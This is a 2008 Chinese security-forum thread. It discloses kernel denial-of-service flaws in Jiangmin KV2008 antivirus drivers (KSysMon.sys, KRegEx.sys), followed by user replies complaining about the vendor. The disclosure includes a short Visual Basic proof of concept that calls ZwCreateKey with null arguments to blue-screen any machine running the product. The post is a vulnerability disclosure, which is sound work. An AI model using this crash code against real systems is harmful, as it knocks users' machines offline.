Board logo

标题: 【iceboy】江民杀毒软件 KV2008 KSysMon.sys 多处内核拒绝服务漏洞 [打印本页]

作者: 点饭的百度空间     时间: 2008-10-3 23:49    标题: 【iceboy】江民杀毒软件 KV2008 KSysMon.sys 多处内核拒绝服务漏洞

江民杀毒软件 KV2008 (以下简称 KV2008) 是江民反病毒专家团队针对网络安全面临的新课题, 全新研发推出的计算机反病毒与网络安全防护软件, 号称是全球首家具有灾难恢复功能的智能主动防御杀毒软件。

令人遗憾的是, 其最新版本 11.00.800 (更新日期 2008-10-02) 及以下所有版本的驱动程序中存在多处内核拒绝服务漏洞, 可使任意权限的用户在安装 KV2008 的电脑上引发蓝屏, 造成灾难。

出问题的组件:

KSysMon.sys (CheckSum=0003AD80, TimeStamp=480D43E5)

KV2008 在对 KiFastCallEntry inline hook 时, 存在多处用户态传入参数不经检查即使用, 从而使得用户态传入无效参数即可引发系统崩溃, 蓝屏重启.

值得注意的是, KV2008 还注册了一个 DPC 定时恢复此钩子, 所以我们无法通过恢复此钩子避免该漏洞. 同时, KV2008 的 KRegEx.sys 在对 SSDT Hook 时, 存在多处同样的问题.

示例函数: NtCreateKey

函数 NtCreateKey 的原型是:

NTSTATUS
NtCreateKey(
    OUT PHANDLE KeyHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes,
    IN ULONG TitleIndex,
    IN PUNICODE_STRING Class OPTIONAL,
    IN ULONG CreateOptions,
    OUT PULONG Disposition OPTIONAL
    )

KV2008 在其 Hook 函数中, 没有任何检查地使用了用户态传入的 ObjectAttributes 参数, 这样, 如果我们传入一个无效的地址, 就会引发崩溃, 蓝屏重启.

测试代码:

Declare Function ZwCreateKey Lib "ntdll" (ByVal a As Long, ByVal b As Long, ByVal c As Long, ByVal d As Long, ByVal e As Long, ByVal f As Long, ByVal g As Long) As Long

Sub Main()
    MsgBox "KV2008 内核漏洞演示 by iceboy"
    ZwCreateKey 0, 0, 0, 0, 0, 0, 0
End Sub
作者: abqm     时间: 2008-10-5 23:23
蓝屏的事情我记得去年就有过,突然有一天我升级江民,重启后就不能正常启动了,当时也不知道咋了,就是不能启动,手里也没有什么工具盘,所以没办法只好重装了一下系统,结果晚上比特论坛才知道是江民升级引发的,后来去江民的论坛发帖投诉,不到一分钟俺的帖子就没了,打电话给京华时报的记者,MD最后也没有个结果。
作者: 化外愚民     时间: 2008-10-6 09:23
江民的论坛是有些霸道。
作者: baiyoua     时间: 2008-10-11 00:01
江民自从那个出走到光华,实力减了




欢迎光临 微点交流论坛 (http://bbs.micropoint.com.cn/) bbs.micropoint.com.cn